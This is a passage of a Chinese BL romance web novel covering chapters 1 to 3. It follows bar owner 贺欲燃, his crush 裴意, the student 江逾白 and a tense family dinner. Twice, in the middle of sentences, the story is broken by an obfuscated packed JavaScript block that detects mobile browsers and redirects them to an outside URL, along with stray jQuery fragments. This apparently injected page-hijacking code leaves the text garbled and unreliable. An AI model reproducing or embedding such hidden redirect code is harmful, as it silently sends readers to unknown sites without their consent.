《情敌他总跟我装乖》 1. 哥哥 雨夜没有星星,寂静无人的街道,只有零星几辆车行驶而过。 萧萧瑟瑟的雨水砸下来,又从车玻璃上滑落,贺欲燃望着模糊不清的夜色,伸手摇下了车窗。 “你有在听吗?欲燃?”电话里郑淑华的声音急了许多。 贺欲燃打了个哈切:“嗯。再说吧。” 面对贺欲燃的搪塞,郑淑华规劝道:“儿子,你爸上几天老毛病又犯了,打了好几天的挂水呢。” “是么?”贺欲燃柳眉轻挑,随着他单手一转方向盘,车子拐了弯:“昨天在电话里骂我挺有力气的啊。” 他爸妈以病为由逼他回家都算好的了,以死相逼他都习以为常了。 郑淑华在电话里有长达五秒的沉默,然后无地自容的叹了口气:“你爸怕你赌气不接,特意让我来劝劝你。今天回来吃个饭,行不行?” 贺欲燃冷哼一声,话说的好听,但他做梦想都知道他爹是如何用那副恨铁不成钢的口吻把他骂的狗屁不是的。 “怎么着也是你爸,你们连着心呢,吵了架也不能这么久不见……” “知道了妈,在开车。” 贺欲燃按了挂断。 本来下雨就烦呢。 这个时间是八中高三晚自习放学的时间,车子行驶进樱花路就有些拥挤了,他艰难的开到八中校门口,车窗外,裴意冲他晃了晃手,撑着伞小跑了过来。 门一开,裴意抖了两下伞弯腰进车,刚跑过,他喘了两口粗气:“这雨真大,我打着伞都湿的差不多了。” 贺欲燃看着他半透的衬衫,转过身,一只手勾起后座那件特意准备的牛仔外套,还没等裴意反应过来,那件外套已经挂在他身上了。 “我身上湿着……” “要洗的,穿着吧。”贺欲燃伸手挂档,车子开出去。 裴意见好就收,车子里稍微开了些暖气,烘托出了些困意,他找了个舒服的姿势躺下去,嘟囔了句:“今天好累啊……” “怎么了,实习不顺利么。”贺欲燃问他。 一句话裴意瞬间不困了,他扭过头唉声道:“想死了,本来就很累了,这些孩子根本就是不服管教。上课铃就跟摆设一样,玩的玩闹的闹,说两句还顶嘴。” 贺欲燃看着他一脸苦相,打趣道:“看来八中名不虚传啊。” 八中,远近闻名的脏乱差。空挂一个普高名号,教育资源和教师人力还不如隔壁职高,再加上校领导势利眼,老师又疏于管教,很多来这里的孩子都被懒散的环境带坏。 裴意揉着眉心,开始怀疑自己:“实习期结束了就换个学校,在八中任职留心理阴影了,都感觉自己不适合做老师了……” “那干脆不做了。”贺欲燃扬起嘴角,夜色中,那双生的轻佻不羁的狐狸眼闪烁着难以捉摸的狡黠:“下嫁我,我养你。” 裴意猝不及防的被电了一下,却找不出原因来:“贺欲燃,你又贫我。” 如愿看到裴意吃瘪,贺欲燃忍不住笑出声,爽朗清澈的笑声混杂着窗外呼啸而过的风,放肆又张扬。 车前拥堵的人群渐渐的散开,只是雨越下越大,贺欲燃不得不关了车窗,偶然一撇,他就瞧见了斜前方昏暗路灯下有个穿着校服的学生,正头顶书包穿梭在雨里。 “小白?”裴意也看向这边,突然惊呼出声。 “认识?”贺欲燃忙着看路况,没抬眼。 “对,我学生。” 贺欲燃再次看过去,他应该跑了很远,正弯着腰屈膝歇着,风雨交加,少年单薄的身段被吹的几近摇曳。 裴意关切的望着窗外:“欲燃,能不能停下车送他一段,他家挺远的,这雨没时候停,淋回家估计要生病。” 幽暗的夜晚里,骤然闪过的车灯晃疼了男孩的眼睛,他抬手挡脸。 轮胎与地面急促的摩擦声刺耳又突兀,男孩重新抬起头,一辆白色路虎横停在自己前方,车窗缓缓摇下。 昏黄的光线勾勒出雨丝倾斜的虚影,那人在漫天的雨幕后扬起令人炫目的笑容:“同学,要搭个便车吗?” 男孩怔在原地,呼吸空了一拍。 “诶,欲燃,你别吓唬他。” 贺欲燃一脸计谋得逞的往后靠了靠,裴意的脸这才露出来:“小白,这雨太大了,上来吧,我们送你一段。” 男孩低头看看湿透的自己,雨水顺着他的发梢往下滴,透亮的眸子低垂着:“不用了老师,我湿透了,会弄脏您朋友的车。” 男孩声音微小的快散在雨声里。 贺欲燃莫名觉得可怜,笑着摇摇头:“小事儿,上来吧。” 两人中间隔了一层薄薄的雨墙,贺欲燃看不清男孩眼里的情绪,只见他犹豫了几秒,最后还是打开车门钻了进来。 车子驶出去,贺欲燃隐约感受到目光,抬头正好和后视镜里的男孩对视,男孩明显有片刻的错愕,然后迅速别开了脸。 贺欲燃只觉纳闷,这孩子是见过他? 气氛有点尴尬,他清了清嗓子:“同学,你家怎么走。” “樱花路后街,御景园。”男孩的声音清冽有磁性,刚跑过,还有些颤音。 车里暗,他只能隐约看清男孩侧脸的轮廓,是很深邃的骨相,下颚线条流畅有力,被窗外光影勾勒,彰显出了几分刚毅之气。 裴意转头问男孩:“小白,今天的课有哪里没听懂的地方吗?跟的费不费力?” 男孩摇头:“没有老师,都跟上了。” “那就好,我怕你不适应我的教学方式,跟的吃力。” “不会,老师讲的很好。”男孩肯定的说。 裴意是个实习的大学生,经验少,热气高,一听学生这么夸笑的更开心了:“也是你听得认真。” 贺欲燃在旁边琛白了一眼裴意,做了个干呕的动作,然后肩膀就被他笑着怼了一拳。 男孩抬头迅速撇了一眼,又扭开。 车子行驶进一处老旧别墅区,拐拐绕绕的位置很偏,已经很少有人居住,雨猛烈的下着,车灯一晃,贺欲燃觉得自己在演恐怖电影。 “到了,这里。” 男孩突然出声,正好给贺欲燃吓了一跳。 “对了,这雨太大了,你把老师的伞拿着进去。” 裴意把自己的伞递过去,却被贺欲燃抓住手腕。 “等下。”他在两个人呆板的目光中开口:“你家门口那条小路我车开不进去,伞你自己留着。” 他把自己的伞塞到男孩手里:“拿我的吧。” 男孩盯着贺欲燃的手,不知在想什么,几秒后慢慢接过:“谢谢裴老师,谢谢……”他目光移向贺欲燃,别扭的说:“谢谢……哥哥。” 那声哥哥喊的尴尬又生硬,但他嗓音干净,还怪好听的。贺欲燃笑笑,没忍住接了个茬:“不客气,小弟弟。” 男孩显然顿了一下,开门下车的速度都加快了,像是在逃。 “你能不能有个正形?”裴意无奈。 “不是他先叫我哥哥的吗?” 贺欲燃也觉得好笑,他忍不住看后视镜,车子越来越远,男孩白色的身影在视线中变成一个小小的圆点,最后融入黑蒙蒙的雨幕。 刚送完裴意回家,裤兜里的手机就响了,他点开接听,柯漾贱嗖嗖的声音从电话里传过来:“怎么着啊领导,又送crush回家啦?店都没空回了?怎么样啊和你家小裴老师~” 贺欲燃只无语了一秒,冷哼道:“挺好的,正亲嘴呢。” “卧槽!”柯漾这傻子信了:“真的假的!?” 贺欲燃往靠背上一瘫:“假的啊,我造谣。” “……”柯漾觉得没劲:“滚。” “傻逼。”贺欲燃笑着骂他,转开了话题:“别闹了,今晚员工都谁在?” “我,老王,还有阿玥,我们仨,今天晚上下大雨没多少人,我就让其他人都回去了。” “行,我待会回家吃个饭去一趟。”贺欲燃说。 柯漾停顿了一下,众所周知这位大领导可是从来不会主动回家吃饭的,他试探的问:“不是吧,你爸又紧急召回啊?” 一提到这事贺欲燃心口就紧,他叹了口气:“不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848845|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唉,燃哥,回去好好说,能别吵就别吵。” “嗯。”贺欲燃右手按着眉心,还想交代什么,另一通电话就打过来了,上面显示:妈。 贺欲燃眉毛微蹙:“先挂了,接个电话。” “儿子,多久到家?都快八点了,你还在忙吗?” 郑淑华温柔的声音传来,贺欲燃挺庆幸不是他爸,他松了口气,嗓音轻下来:“快了,在路上,你们饿了就先吃。” “你慢点开啊,我们等你。” 郑淑华话还没落完,一声严厉的苛责就传出来。 “都几点了!爱回来不回来,全家都等他一个人吃饭吗……” 然后电话被郑淑华迅速挂断。 贺欲燃听着电话那头冷冷的嘟嘟声,瞬间感觉气氛很是压抑,他松了松衣领,伸手打开了车窗,窗外的雨声噼里啪啦,杂乱无章,看来又是要下一夜了。 - 到家的时候正好八点,贺欲燃关好门,在玄关处换鞋:“我回来了。” “回来啦,来,衣服给妈。”郑淑华笑的雍容闲雅,接过贺欲燃沾了水汽的大衣:“菜也都做好了,洗手吃饭。” “我爸呢。” 郑淑华停顿一下,压低了声音:“饭桌上呢,进去好好说话,听到没。” 贺欲燃舔了下嘴唇:“知道。” 贺军冷着脸看自己的儿子走进视线,赶紧调整表情,装模作样的咳嗦了两声。 贺欲燃捕捉到,轻笑一声:“没痰别硬咳了。” “……”贺军瞪他。 郑淑华感受到气氛凝固,赶紧把贺欲燃买的两斤大白梨放到餐桌上:“哎呀老贺你看,儿子知道你毛病犯了,特意给你买来给你消火的,我去洗两个你吃吃啊!” 贺军看看梨,冷冷的脸色稍微有缓解。 “我来帮你吧妈。”贺欲燃是真讨厌和他爸共处一室。 “不用,你快歇着吧。”郑淑华拍了拍贺欲燃肩膀,然后朝着楼上喊:“锦佑!下来吃饭啦!” 没人回应。 “锦佑?喊你三遍吃饭啦,快下来!” 贺欲燃脸已经黑了:“别喊了,我去。” 走到楼上,隔着八百米他都能听见走廊尽头那间卧室传出来游戏播报的声音,偶尔还参杂几句鸟语花香。 他在扶手旁站定:“贺锦佑,出来吃饭。” “上啊傻逼,他都没大了你躲个屁啊,你大招留着生崽子吗?” 贺锦佑正专注着游戏里傻逼队友的操作,身后的门突然开了,他刚摘了耳机想回头,一个温热的大巴掌就落在自己脖颈。 “啊呀!”贺锦佑跳起来,懵逼的看着他哥。 贺欲燃眼睛半眯,危险的气息愈发浓郁:“别让我再叫你第三遍。” 面前这个留着三七分,长的俊秀的十七岁男孩是他那个重度网瘾的弟弟,从小被爸妈娇生惯养的他跟贺欲燃除了长的像,再没一点相似之处。 贺锦佑想发火,但看着他哥冷下来的脸,又大气不敢喘,最后只能嚷嚷着出门:“妈!爸!我哥又打我!” “我看看,有那么疼嘛?”郑淑华笑贺锦佑娇嗔,但还是稀罕的捏了捏他的脸。 贺锦佑一撇嘴:“我这可是以后要打职业的脑子,被打坏了怎么办?” 郑淑华津津乐道:“哎呦喂,打游戏打魔怔了你,小屁孩儿,还打职业去。” “我说真的!你老不信我!”贺锦佑不满意的抱胸,做出一副撒娇打滚的架势。 听儿子扯淡,贺军非但没恼,神色还温和许多:“行了,玩了这么久都饿瘪了吧,快点吃饭。” 贺锦佑蹦蹦哒哒的往桌子旁边跑:“我也要吃梨!” 郑淑华来不及拦,哭笑不得:“锦佑,那是给你爸洗的。” “那我懒得再洗了嘛。” “给他吃给他吃,臭小子。” 贺欲燃抱着胳膊站在楼上,客厅高挂的吊灯撒发出的暖色光晕打在楼梯口,描绘出一道光与影的交界线,他站在线外,平静,毫无波澜的看着这一切。 2. 物归原主 饭安安静静的吃到一半,没有人说话,贺军抬头看看只顾干饭的贺欲燃:“最近你那个清吧生意怎么样啊。” “挺好的。” “忙不忙。” “还行。” 一问一答。 贺军清了清嗓子:“最近不忙的话,有点事跟你商量一下。” “挺忙的。”贺欲燃扒拉了两口饭。 “……”贺军莫名吃瘪。 “少找借口啊。”贺军瞪了他一眼:“你最近那个店,暂时交给你朋友管吧,你妈在朋友那里争取到一个不错的实习名额,过几天你去试一试。” 贺欲燃筷子一顿。 这顿饭的目的显现了。 “再说吧。”贺欲燃淡淡的说。 “又是再说。”贺军情绪激动了:“你说的再说,哪次有再,哪次有说?” 郑淑华碰了一下贺军,商量道:“小燃,你孙阿姨以前和妈妈在一个会计师事务所,也是妈妈的上级,关系不错,能力也很好。你去跟着她试一试,朝八晚六的也不累,机会难得啊。” 贺欲燃只觉得这口饭噎得慌,缓了一会才说:“过两天要交论文,我没什么时间……” “还在找借口。”贺军声音高了。 贺欲燃习惯了,没什么波澜,倒是贺锦佑被吓了一跳,吃饭都不敢吧唧嘴了。 “你都快大四毕业了,还打算玩到什么时候啊?清吧你开了一年也行了,收收心找个体面的工作不好吗?” 贺欲燃左耳进右耳出,眼皮都没抬。 “你看看我周围那些朋友,人家孩子不是在编就是白领,你看看你,你是什么……” “我是老板。”贺欲燃往嘴里塞了块肉。 “……” 贺军气的脸一阵红一阵白:“你那算什么破老板?就是个不伦不类!” 贺欲燃放下碗筷:“我开清吧挣的钱能养活我自己,最近流水很可观,我不觉得会比坐在办公室算账挣得少。” “我在乎的是你挣多少吗!”贺军指着他的鼻子:“你知不知道前两天我跟马总吃饭,他怎么问我的?他问我你儿子怎么在酒吧倒酒水!” “你让我这张脸往哪放!” 贺欲燃低头,觉得刚才那块肉可能太腻了,有点想吐,头好晕。 他其实想说,爸,我不是倒酒水的。 我是调酒师,是清吧老板,不要讲这么难听。 但他斟酌了很久,却只剩下欲言又止的沉默。 “还有。”贺军紧追不舍:“你这个头发,什么时候能剪掉。” 见贺欲燃低着头不讲话,他干脆直接伸手捏起他扎在后脑的一撮头发:“哪个男人像你似的留个长发?啊?” 贺欲燃还是不讲话,只是抬着眸子淡淡的看着他。 那双眼睛静如死水,贺军却认为那是在瞪他,更生气了:“我说错了吗?不男不女的像什么样子?” 贺欲燃伸手拍开贺军:“别碰我。” 郑淑华赶紧按住贺军的手:“你少说两句行不行。” “我少说他听吗?”贺军埋怨的看着她。 “都说好了欲燃回来好好讲,你又要吵。” 贺锦佑也不好装死了,难为情的不知道该劝谁:“爸妈,别吵别吵……你们别吵。” 但贺军气上了头谁说话也不会听,一摔筷子:“我就这说话方式,听着烦你别听!” 又是,又来。 贺欲燃头痛欲裂,一口饭噎在喉咙上不去下不来。 “行了。”他咬着牙打断:“我吃好了,待会有事我就先走了,你们慢吃。” 贺欲燃走到玄关处,贺军的声音在身后响起。 “贺欲燃,不要以为你二十二了我就管不了你了。我给你铺了路,是你自己不知好歹。” “到时候自己在外边受了挫,别说我没管你!” 贺欲燃稍作了停顿,然后头也不回的出了门。 “以后不要叫他回来吃饭,看见就烦!” 那是他关门前听到的最后一句话。 雨下得已经没有刚才那么急了,微凉的雨水打在他的咖色风衣上,一阵刺骨的寒风扑面而来,拂过他灰棕色的鬓发,雨水混着泥土的味道窜进鼻腔,他不禁打了个喷嚏。 贺欲燃望着天,雨下了好久了,什么时候能停呢。 - 车子停在清吧前,那是坐落在上海市中心附近的一所名叫“CX330”的大型清吧,是他大学时期和朋友几个合伙开的。贺欲燃投资了百分之七十,也算是老板。剩下几个朋友在店里做工,年终一起分红。 贺欲燃调酒在行,店里的酒品很受年轻人喜欢,附近的少爷小姐都喜欢来这消费。虽然清吧不至于火爆,但养活他和这几个朋友绰绰有余。 到店里的时候已经九点,员工也都走的差不多了。这两天下大雨,客人也寥寥无几,往常这个点是最爆满的时候。 “领导来啦?”柯漾走路没声音似的,给贺欲燃吓了一跳。 贺欲燃白了他一眼:“阿玥呢?我找她对一下上个月的账。” 柯漾被他扫兴,撇撇嘴:“人家早被小男友接下班了,留我和老王两个光棍独守空房。” “那你俩凑合过啊。”贺欲燃满意的看见了柯漾吃了屎的表情后,然后转身进了吧台,从柜子里掏出两包饼干拆开塞进嘴里。 王康从一间包房里走出来,看见他,惊奇道:“呀,好久不见啊领导。”他看看贺欲燃满嘴饼干渣:“怎么还啃上饼干了,令父召开完家庭会议都没说留你吃饭啊?” 贺欲燃生无可恋的往嘴里塞了一口饼干。 王康和柯漾对视两眼,已经猜的八九不离十了。 柯漾挑眉:“你和你爸又吵起来了?” “没啊。”贺欲燃否认。 俩人瞬间倒吸了口凉气,想想贺欲燃这脾气,不会是打起来了…… 谁知他开口就一句:“是我单方面挨训。” 柯漾和王康愣了两秒,然后开始爆笑。 贺欲燃报复性的往嘴里塞着饼干,一块接着一块,快给自己塞成松鼠了。 柯漾乐的直拍王康肩膀:“外头当老板,回家给爸妈当解压板。” “哈哈哈哈哈!”王康笑摔了。 贺欲燃静静的看着他俩,挤出自己的招牌笑容:“喜欢笑是吧。”他脸一沉:“这月奖金喂狗。” “……” 俩人往那一站就是兵。 贺欲燃抓起半块饼干砸在他俩身上:“下班了,滚回家。” “好嘞领导!”王康柯漾异口同声。 贺欲燃扁嘴:“你俩是一点不客气啊。” “员工福利嘛,谢了老板~”柯漾都撒丫子跑到门口了。 贺欲燃看这俩人勾肩搭背下班的背影,不自觉笑出来。 今天下大雨酒吧人少的很,他百无聊赖的坐在吧台调酒,不一会儿指针就转到了十一点。最后一位客人离开后,他把桌子都收拾干净,拉了灯,走出了店门。 外面的雨竟然还在下,上海的十二月份跟小孩子似的,哭起来就没完了。 刚才那顿饭吃的太憋屈,那几块饼干也没当事,胃里难受,开车也不稳。他导航到附近最近的一家24小时药店。这一路他疼的直冒冷汗,下了车想站直身子都有些困难。 “您好,帮我拿两盒止痛药。”贺欲燃感觉自己声音在颤。 药店老板娘敷着黄瓜面膜踱步走过来,瞄了他一眼:“止痛药售罄了,货还没上,你什么症状?” 附近就这么一家药店,贺欲燃认命倒霉:“胃疼,胃炎。” 老板娘在药柜里边翻边问:“季节性引起的胃炎还是什么,我得对症给你拿。” “我不太清楚,很多年了。只是现在疼的厉害,帮我拿点药效快的就行。” “不清楚啊……”老板娘看着他思索了几秒,脸色忽而温和下来,在柜里东翻西找拿了一大堆:“胃疼可不能瞎吃药,你听姐的,拿这个,这个饭前吃,养胃的,还有这个。” 她佯装和蔼,一口地道的江浙沪腔,滔滔不绝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848846|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了一大堆看不懂的化学名字的药:“还有这个,这个药好呀,它可不是一般那种简单止疼的呀,它可以从根源上给你解决……” “好了可以了姐。”贺欲燃一手按着剧烈疼痛的腹部,脸色已然苍白:“你都包着,我都要了。” “诶好嘞姐给你算一下啊。”她笑的皱纹挤在一起。 趁人之危推销,也真够恶心的。 但他现在也别无他选了,只是在跟她在这里耗下去,自己可能要倒在这。 这时,屋内一阵手机铃声响起,老板娘“啧”一声,然后朝贺欲燃身后道:“诶,你来帮下姨,我去接个电话啊。” 贺欲燃这才发觉身后还有个人。 被老板娘叫的那个人从他身后路过,拐进了收银台。 “要袋子吗?” 好熟悉的声音。 直到对上那双浅到透亮的双眼,他才认出这人竟是刚才自己顺路捎的那个男孩。 这么巧,他在这做兼职? 屋内灯光通亮,贺欲燃终于看清男孩的脸。 他身形高瘦,面容俊朗,皮肤白的近乎病态,那双初见时无辜的大眼睛此刻正低垂着,平添了几分忧郁和清冷,他鼻梁生的高挺,唇角向下,低头俯视人时,整个人散发出一种厌世的姿态。 贺欲燃有点惊讶,但男孩看起来挺平静的。 “要袋子的,谢谢。” 贺欲燃忍不住打量起男孩,无意间看见了男孩胸前挂着的校牌:江逾白。 怪不得裴意叫他小白。 贺欲燃看着江逾白那双修长有力的手指把那些乱七八糟的药推到一边,弯腰在药柜里翻出了另一盒药递给他。 “……”贺欲燃两眼一抹黑,嘴角抽搐:“别了吧弟弟,不能可我一个人宰啊?” 老的推销完又来一个小的,他真的快疼死在这了有没有人来管管! “不是。”江逾白微顿:“这个药效快,吃它,足够了。” 他话说的跟人一样干净利落。 贺欲燃嘴唇微张,这才反应过来他的意思。 兴许是贺欲燃的目光太强烈,江逾白偏头,轻轻的补充了一句:“今天谢谢你。” 贺欲燃笑了,摆了摆手:“小事,你还是都包起来吧,不然待会你也不太好交代。” 说完他往里屋瞟了一眼,再转头的时候,收银台的单子都打好了。江逾白压根没给他客气的机会。 他不说话,拿着扫描器静静的看着他。 贺欲燃语塞,不好再推脱什么,掏出付款码付了钱。 江逾白收完款,又转身拿起热水壶倒了杯微烫的水,推到贺欲燃跟前。 贺欲燃万分感激,拆开药盒吃了下去,疼的惨白的脸却依旧笑的洒脱:“今天能碰到你很幸运。” “谢谢你,小弟弟。” 不知是不是错觉,他这句话过后,男孩抬头的速度快了些,眼里闪着无法言说的情绪,在他转身后又归于平静。 出了店门,他忽然发现雨下的更大了,远处雷声阵阵,烟雨蒙蒙,根本看不出要小的意思。 附近没有停车位,贺欲燃车子停的很远,可是他胃疼的厉害,跑也跑不动。 算了,人要倒霉喝凉水都塞牙。 他戴上里面的卫衣帽子抬脚迈进了雨里,但意外的是,雨水并没有铺天盖地砸下来,取而代之却是一阵微凉的风。他看着自己被路灯拉长的影子,头顶,竟多了把伞。 转身,他再次对上男孩那双眼睛。 江逾白跑的急,发丝微微撩起,露出些许白皙的额头,那双杏仁大的眼睛在黑夜里泛着破碎的柔光。 或许是错觉,贺欲燃只感觉心脏被微微撞了一下。不疼,是痒的。 似乎在很久以前,他曾见过这双眼睛。 也是这样的雨夜,也是这样的距离,那双眼睛如一湾波澜不惊的湖,轻拢满涌的延展开,将他缓缓浸入。 贺欲燃略有些迟疑。 但江逾白早已经把伞柄递到他手里。 “物归原主。” 3. 前crush 60s是微信的极限 贺欲燃昨天东奔西跑的太累了,一觉竟睡到了正午十一点多,以至于醒过来还是因为一通电话。 他迷迷糊糊的掀开自己的小熊眼罩,双目因不适应强光而半眯着:“喂?” “宝宝,醒了没呢?” 哦,楚夏,自己的gay圈“闺蜜”。 贺欲燃一听是他,笑着翻了个身,但眼睛还是没睁:“刚醒呢,怎么了。”他故意停顿:“宝宝。” 楚夏“草”了一声。 贺欲燃刚醒,惺忪低哑的声音在电话那头温柔的喊自己宝宝,挑逗的意味都快从手机里溢出来。 楚夏不撒谎,这货要是在自己耳边这么喊他,他绝对立。 “滚蛋啊,少恶心我。”他感觉自己的脸都红了,虽说是社会主义兄弟情,绝无私心,但这货有时候实在是无差别攻击。 骚不过骚不过。 “能不能别笑了?你失心疯了?”楚夏听着贺欲燃在那头快笑死了:“正经的,下周五有没有空?” 贺欲燃觉得他没憋什么好屁:“没空,要接我家小裴老师下班。” 见色忘友。 “你他妈是当我这个朋友死了是吧。”楚夏骂他。 “闭嘴吧,你先说什么事儿。”贺欲燃艰难的从床上爬起来,伸了个懒腰。 “下周五有个局,陪我去。我喝不过那帮货。” 贺欲燃拒绝的斩钉截铁:“不去。”他又贱贱的补充:“小裴老师不喜欢我喝酒。” “……”楚夏。 他一个男同成功被男同恶心死了。 “你特么到底喜欢裴意哪啊?他长的也不是特别帅吧?顶多算,挺舒服的,挺可爱?上学的时候我就能看出来他是个铁直,就你还贴贴呼呼的往上凑,爱上直男是酷刑啊懂不懂?” 眼看兄弟误入歧途,他忍不住吐槽一堆,震的贺欲燃手机都不敢贴耳边。 “我又不是单纯因为他长相喜欢他的,你也太肤浅了。”贺欲燃扶了扶额,感觉在对牛弹琴:“感觉你懂不懂啊,喜欢是一种感觉。” 楚夏摇头:“抱歉,颜狗不能苟同。” “行了,滚边儿去吧。”贺欲燃放弃。 楚夏“啧”了一声:“你爱怎样怎样,但过两天的酒局你必须倒出时间陪我去,天天找你家哪个小裴老师,你都多久没跟我出去玩儿了!” 楚夏的语气像撒娇似的,贺欲燃觉得他这样好玩儿,又逗他:“那你求我。” “去你妈的。”然后。 “求你啦~~” 贺欲燃嗤笑:“宝宝呢?” 楚夏都能想象到他此刻的表情,漂亮的眼睛骨碌骨碌的转,尾巴翘的高高的,像一只狡猾的红色狐狸。 他“呸”了一声,咬着牙叫:“宝宝~行了吧!” 贺欲燃最终答应了“宝宝”的请求。 两个男同做朋友,更何况还一个1一个0,相处方式总是暧昧又欠皮,外人甚至把他俩看成过一对。 但只有他俩知道,就算楚夏脱光了站在贺欲燃面前,他也只是往下看看,然后用大拇指和食指比量一下说:“小小的,挺可爱的。” 然后楚夏一脸黑线的骂他:“死长毛你说谁小?” “没事啊,反正你又用不上,小点也方便。” “……” 最后的结果只会是扭打在一起。 刚放下电话,他就起床开始收拾自己,准备出门。前段时间学校紧急召回大四的学生,因为下半年体育场要维修,所以要提前开毕业座谈会,顺便把毕业照拍了。 洗漱完简单收拾了一下,他头发不长不短,散下来更像是过长的狼尾,他随便的在后脑绑了小辫子,前额的鬓发自然的耷拉到下颌骨,给那张可以用“漂亮”来形容的脸蛋增添了一些慵懒清冷的味道。 贺欲燃还算满意,随手抓了件大衣就转身出了门。 复旦大学的周末校内人员流动很少,再加上大四基本离校,走了半天都没看到什么人。 他来到会场中心,很多大四的学生都已经到场,大家都已经换好了学士服,欢声笑语中,他走了好久才找到自己的班级。 经管系财务管理8班的牌子后面,柯漾和王康正在互嘴。 “不是我说真的,你穿着衣服像斯内普你知道吗?”柯漾还学了一遍:“阿瓦达啃大瓜!” “你他妈穿的好看,往那一站上身站岗下身放哨,傻逼死了。” “我真得把你嘴撕开!” “闹!闹!”带个小眼镜顶个啤酒肚的导员从人群后面挤出来,朝着他俩屁股一人给了一脚。 这下俩人老实了,站那一动不敢动。 贺欲燃刚换完学士服,看着他俩站的笔直,乐了一声:“哟,军训呢。” “……”王康。 柯漾用口型骂他:“滚。” 拍毕业照的环节很简单,基本就是来几张大合照,然后想去哪里留影,就带着自己的朋友随便拍两张,女生基本都很有兴致,拉着室友闺蜜到处拍,男生这边基本都坐在体育场中心闲聊。 柯漾和王康在旁边给班级的女生们当苦力摄影师,贺欲燃在会场中心东张西望半天,才终于在外语系的系牌后面找到裴意。 他跑过去,在左肩拍了裴意一下,他转过头,没看到人,又转到右边,贺欲燃捧着个礼物盒突然出现在他面前。 “Surprise~”逆着正午的光亮,贺欲燃灰棕色的发丝飘扬,泛着淡淡的金光,那双伶俐的狐狸眼弯成温柔的月牙,可仔细品味,又隐匿出一种玩世不恭的味道。 “哎呦,你吓我一跳,怎么了?”裴意拍了拍胸脯。 “……”无人在意他的小把戏。 臭直男啊。 “送你的毕业礼物,拆开看看。”贺欲燃把礼物盒递过去。 裴意打开,是自己喜欢了很久的那款相机,他惊呼一声:“欲燃,你怎么知道我喜欢这个!” 裴意二十好几了脸上还有着未退下去的婴儿肥,笑起来阳光又可爱。 贺欲燃帮他打开摄像盖:“之前出去玩,看你在商店里拿起来把玩了很久。” 这种细节我都把握到了,你不得直接爱死我…… “是吗?你眼神真好!” “……?” “噗……”偷窥全程的柯漾还是没憋住。 眼神当然好,不好能看上直男么。 贺欲燃甩过去一个充满杀气的眼神,柯漾立马把嘴抿成一条直线,跑了。 “你喜欢就行。”贺欲燃干笑。 “谢谢你欲燃,我都没给你准备什么呢。”裴意有点不好意思了。 贺欲燃忽然凑近:“请我吃饭怎么样?或者是。”他笑的不深不浅:“你做给我吃也可以。” “今天吗,恐怕不行啊。”裴意为难的说:“今天约了小白吃饭的。” 捕捉到他亲昵的称呼,贺欲燃蹙眉:“昨天送的那个学生?” 裴意点点头,刚要说什么,又被手机响起的提示音打断,他打开,看到来信人是谁,手上还没捂热乎的相机被他装进盒子里,就专心回信息去了。 贺欲燃无意间瞄到备注:小白。 哦,昨天那个学生。 裴意笑的很开心,不知道在聊些什么,看起来特别的投缘。 两个人兴趣爱好不同,裴意喜欢摄影,看书,很多文艺的东西,但贺欲燃不一样,大多时候都喜欢出去玩出去疯,闲暇时间喝喝酒,弹弹吉他,两个人很少有聊的这么开心的时候。 贺欲燃忽然有些不爽,他坐下来耐心的问:“那你什么时候有时间?” “啊,你说,怎么了?”裴意脑袋转过来一半,眼睛却直盯着屏幕。 贺欲燃刚要说话,裴意就按下了语音:“小白,这道题我之前重点标过,你可以去我办公室找一下我的教科书,56页……” 裴意光顾着低头回消息,心根本不在他这。 贺欲燃只好住嘴,也没好意思再追问。 他看着裴意专心回那个“小白”信息的背影,有种不安的感觉在心里乱窜。 说实话,他目前为止还没看到裴意为了谁这么忽视自己。 “哦,刚刚小白给我发消息问题,不好意思啊欲燃,你继续说。”裴意揣好手机,满是歉意的挤挤眉眼。 贺欲燃笑的仍然温柔:“没事,工作嘛,理解的。” 这时一个女生走到贺欲燃面前红着脸问他,可不可以合影。 贺欲燃调整状态很快,是那种不会轻易把情绪带给别人的人,常常上一秒还冷着脸,下一秒又能笑的如沐春风:“当然可以。” “真的吗?太好了,谢谢!”女生激动的举起相机找角度,想留下自己最漂亮的瞬间。 “我来吧。”贺欲燃伸手扶住相机,声色温柔,冲女生眨眨眼:“听你们女生说站后面显脸小,我来吧。” 女生有些受宠若惊,连连道谢过后,如愿和他合了两张影,最后提出拥抱,贺欲燃也轻轻抱了抱她:“毕业快乐,工作顺利。” 他柔和的嗓音抚平了女孩的紧张和窘迫,仿佛听到他轻声安慰自己的那一刻,这三年来的暗恋也撞进了一个温暖的怀抱,有了回应。 女生疯狂点头,感觉下一秒就要哭出来:“你也是!” 她三步一回头的离开,下了台就抱着自己的室友开始哭。 女孩的室友安慰她:“没事没事,别哭了,下一个更乖嘛,别为了男人哭知道不?” “不是啊……”女生蹭了把鼻涕,美瞳差点划片:“他特么太帅了啊……” “?”室友。 王康扬了扬下巴:“你看,今天找他合影的第几个了,我就纳了闷了,长得帅的干嘛都喜欢男人啊?” 他又撞了下柯漾,八卦的挑挑眉:“诶,你说燃哥能把裴意追到手吗?感觉很悬啊。” 柯漾撇撇嘴,回忆起贺欲燃的那个脾气秉性:“人家的事谁能说准,搞不好他自己都无所谓呢。有些人跟他到底能不能有结果,对他来 